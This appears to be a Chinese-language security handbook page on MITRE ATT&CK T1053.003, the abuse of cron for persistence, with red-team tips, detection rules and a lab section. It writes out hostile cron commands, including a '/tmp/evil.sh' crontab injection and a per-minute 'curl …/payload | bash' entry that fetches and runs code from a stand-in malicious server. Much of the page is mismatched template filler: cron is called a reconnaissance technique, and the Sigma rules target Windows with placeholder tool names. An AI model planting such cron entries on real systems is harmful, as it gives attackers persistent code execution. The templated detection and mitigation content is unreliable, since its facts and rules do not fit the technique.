Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Cron (T1053.003)

一句话通俗理解

Cron就是利用 Linux/macOS 的 cron 定时执行恶意命令。

30秒速查卡

维度你需要知道的
这是什么?Cron就是利用 Linux/macOS 的 cron 定时执行恶意命令。
为什么危险?攻击者利用此技术可以绕过系统安全机制,获取更高权限,为后续攻击铺路
谁需要关心?系统管理员、安全运维团队、SOC分析师
你的第一步防御监控与Cron相关的异常系统调用和进程行为
如果只做一件事部署EDR解决方案,启用针对Cron技术的检测规则



难度等级

⭐ 初级 - 需要一定的技术基础和实践经验

前置知识检查

读这个文件需要什么?

  • 操作系统权限模型(User/Admin/SYSTEM/root)
  • 进程与令牌概念
  • 常见漏洞利用基础知识

技术描述

通俗解释:

过渡段: 不要误以为权限提升就是’用漏洞获取root’——实际上大部分权限提升利用的是系统配置缺陷而非漏洞。例如:服务权限配置不当、计划任务以高权限运行、sudo配置错误等。这些’配置漏洞’比0day漏洞更常见且更难自动化检测。 利用 Linux/macOS 的 cron 定时执行恶意命令

⏱️ 打个比方:就像在Linux中设置cron定时任务——攻击者使用cron在Unix/Linux系统上创建定时任务实现计划执行。

技术原理: T1053.003 是 计划任务/作业(T1053)的子技术,专注于Cron这一特定方面。攻击者在权限提升阶段,通过Cron来获取目标系统或组织的相关信息,为后续攻击步骤做准备。

用途与影响:

  • 为后续攻击提供关键信息支撑
  • 提高攻击的成功率和精准度
  • 降低攻击被发现的概率

真实攻击流程

graph TD
    A["攻击者获取写入<br/>crontab的权限"] --> B["编辑crontab<br/>crontab -e"]
    B --> C["添加恶意cron条目<br/>如每分钟执行反弹Shell"]
    C --> D["cron守护进程<br/>按调度规则执行命令"]
    D --> E["恶意代码以当前用户<br/>权限周期性执行"]
    E --> F["配合提权漏洞<br/>获取root权限"]

    style C fill:#ff6b6b,stroke:#333,stroke-width:2px
    style E fill:#ff6b6b,stroke:#333,stroke-width:2px

步骤详解:

  1. crontab 注入:执行 crontab -eecho '* * * * * /tmp/evil.sh' | crontab - 添加恶意定时任务

  2. 多位置植入:除用户 crontab 外,还可写入 /etc/crontab/etc/cron.d//var/spool/cron/crontabs/ 等系统级 cron 目录

  3. 周期执行:cron 守护进程每分钟检查一次调度表,在指定时间以文件所有者权限执行命令

  4. 隐蔽变体:使用 */5 * * * *(每5分钟)等低频调度,或通过 /etc/cron.daily/ 放置每日执行脚本

  5. 确定目标 - 明确要攻击的组织或个人

  6. 选择Cron方法 - 根据目标特点选择最有效的收集方法

  7. 执行Cron操作 - 使用相应的工具和技术进行信息收集

  8. 整理和分析信息 - 对收集到的数据进行分类和验证

  9. 利用信息进行下一步攻击 - 基于收集到的信息制定后续攻击计划

攻击流程

获取crontab写权限 --> 注入恶意cron条目 --> crond守护进程周期调度 --> 以任务所有者权限执行
graph LR
    A["获取crontab写权限"] --> B["注入恶意cron条目"]
    B --> C["crond守护进程周期调度"]
    C --> D["以任务所有者权限执行"]

步骤详解:

  1. 获取crontab写权限

    • 通俗描述:拿到能修改 cron 调度表的权限,普通用户改自己的 crontab,root 可以改所有
    • 技术细节:检查 /etc/cron.allow/etc/cron.deny,用户级 cron 文件在 /var/spool/cron/crontabs/<user>,系统级在 /etc/crontab/etc/cron.d//etc/cron.{hourly,daily,weekly,monthly}/
    • 常用工具:crontab、vi、echo
  2. 注入恶意cron条目

    • 通俗描述:在 cron 调度表里加一行定时执行的恶意命令,比如每分钟反弹 shell
    • 技术细节:执行 echo '* * * * * /tmp/evil.sh' | crontab - 或写入 /etc/cron.d/backdoor,可使用 */5 * * * *(每5分钟)等低频调度以避免被察觉
    • 常用工具:crontab、bash、echo
  3. crond守护进程周期调度

    • 通俗描述:crond 守护进程每分钟扫一遍调度表,到点就触发任务
    • 技术细节:crond 每分钟唤醒一次,加载所有 crontab 文件,按 分 时 日 月 周 字段匹配当前时间触发对应任务
    • 常用工具:无(系统自动触发)
  4. 以任务所有者权限执行

    • 通俗描述:恶意命令以 crontab 文件所有者身份运行,root 写的就是 root 权限
    • 技术细节:crond 以 cron 文件所有者身份 fork 子进程执行命令,记录到 /var/log/cron,root 级 cron 可绕过用户登录直接以 root 运行
    • 常用工具:无(系统自动触发)

真实案例

案例1:APT组织使用Cron进行攻击准备

  • 时间: 2023-2024年
  • 目标: 多行业目标组织
  • 攻击组织: 多个APT组织
  • 手法: 攻击者在攻击初期大量使用Cron技术收集目标信息,为后续定向攻击做准备
  • 影响: 攻击成功率显著提高,防御者难以及时发现侦察行为
  • 参考链接: MITRE ATT&CK - T1053.003

案例2:红队演练中的Cron应用

  • 时间: 2024-2025年
  • 目标: 授权测试的企业客户
  • 攻击组织: 红队团队
  • 手法: 在授权的红队演练中,Cron被用于模拟真实攻击者的信息收集行为,测试企业安全监控体系能否及时发现侦察活动
  • 影响: 帮助企业发现信息暴露面和安全监控盲区
  • 参考链接: 红队演练报告(内部资料)

红队视角

⚠️ 免责声明:以下内容仅用于合法的安全测试、渗透测试和教育目的。未经授权对他人系统进行测试是违法行为。

实战技巧

  1. 隐蔽优先:在权限提升阶段使用被动方式收集信息,避免触发安全告警
  2. 信息验证:对收集到的信息进行交叉验证,确保准确性和时效性
  3. 工具选择:根据目标环境选择合适的工具,避免使用已被广泛检测的工具
  4. OPSEC意识:使用匿名网络、临时环境进行操作,防止溯源

常用工具

工具名称用途平台
专用收集工具Cron相关操作全平台
信息分析工具对收集到的数据进行分析和整理全平台

注意事项

  • 仅在授权范围内使用Cron技术
  • 注意操作的隐蔽性,避免被蓝队发现
  • 记录操作日志,用于后续分析和报告编写

蓝队视角

检测要点

  1. 异常信息收集行为:监控来自内部系统的异常数据查询和收集行为
  2. 可疑工具使用:检测与Cron相关的工具在内部网络中的使用
  3. 异常网络流量:监控对外部信息收集平台的可疑网络连接
  4. 权限异常:关注非授权用户的信息收集和查询行为

监控建议

  • 部署信息收集行为的检测规则
  • 建立基准行为模型,及时发现异常
  • 定期审计敏感信息的访问记录

避坑指南

红队新手常见错误:一上来就找内核漏洞提权。

检测建议

网络层检测

检测方法: 监控与Cron相关的网络流量特征

具体规则/命令示例:

# 监控异常DNS查询
tcpdump -i eth0 port 53 | grep -E "可疑域名"

主机层检测

Windows事件ID:

  • 事件ID 4688:可疑进程创建
  • 事件ID 4104:PowerShell脚本块日志

Linux日志:

  • 日志文件:/var/log/syslog
  • 关键字段:可疑命令执行

用人话说: Cron是Linux/macOS的定时任务系统,以root权限运行的crontab可以执行任何命令。攻击者向/etc/cron.d//var/spool/cron/crontabs/写入恶意定时任务,例如* * * * * root curl http://恶意服务器/payload | bash每分钟执行一次反弹shell。因为cron是系统的核心功能,恶意cron任务混在正常的系统定时任务中极难被发现,而且重启后依然存在。

Sigma规则示例:

title: Suspicious Cron Activity
status: experimental
description: Detects potential Cron behavior
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\\可疑工具.exe'
  condition: selection
level: medium
tags:
  - attack.T1053/003

应用层检测

Sigma规则示例:

**用人话说:**在实际环境中,需要结合上下文判断异常行为。建议针对本技术的特征指标设置告警阈值,并关联多个数据源进行交叉验证。

yaml title: Detected Suspicious Activity - T1053.003 status: experimental description: Detects potential T1053.003 related suspicious behavior logsource: category: process_creation product: windows detection: selection: EventID: 4688 condition: selection level: medium tags:

  • attack.T1053.003

缓解措施

优先级1:关键措施

措施名称: 敏感信息保护

具体实施步骤:

  1. 识别和分类组织内的敏感信息
  2. 对敏感信息实施访问控制和加密
  3. 部署信息泄露防护(DLP)解决方案

优先级2:重要措施

措施名称: 员工安全意识培训

具体实施步骤:

  1. 定期开展信息安全意识培训
  2. 教育员工识别社交工程攻击
  3. 建立信息报告和响应机制

优先级3:建议措施

措施名称: 安全配置加固

具体实施步骤:

  1. 限制公开可访问的系统信息
  2. 配置合适的日志记录和告警策略
  3. 定期进行安全评估和渗透测试

动手实验

⚠️ 重要提示:所有实验必须在隔离的实验室环境中进行,禁止对未授权的真实系统进行测试。

实验环境准备

推荐靶场/实验平台:

平台名称类型难度链接
本地虚拟机虚拟环境初级本机搭建
TryHackMe在线靶场初级https://tryhackme.com

所需工具:

  • 根据具体技术需求准备相应工具

环境搭建:

# 准备隔离的实验环境
# 具体命令根据实验内容而定

实验1:基础实践(初级)

实验目标: 理解和练习Cron的基本操作

实验步骤:

  1. 在隔离环境中搭建实验系统
  2. 按照技术描述执行基本操作
  3. 观察和记录实验现象

预期结果: 成功完成Cron的基本操作

学习要点: 理解Cron的原理和操作方法

术语解释

术语英文原名通俗解释
CronCronCron的基本概念和操作方法
侦察Reconnaissance收集目标信息的过程,为后续攻击做准备
OPSECOperational Security操作安全,保护行动信息不被对手发现

被引用情况

以下父技术文档引用了本子技术:

参考资料

📚 官方文档(深入了解)

📰 安全报告(真实攻击)

学习资源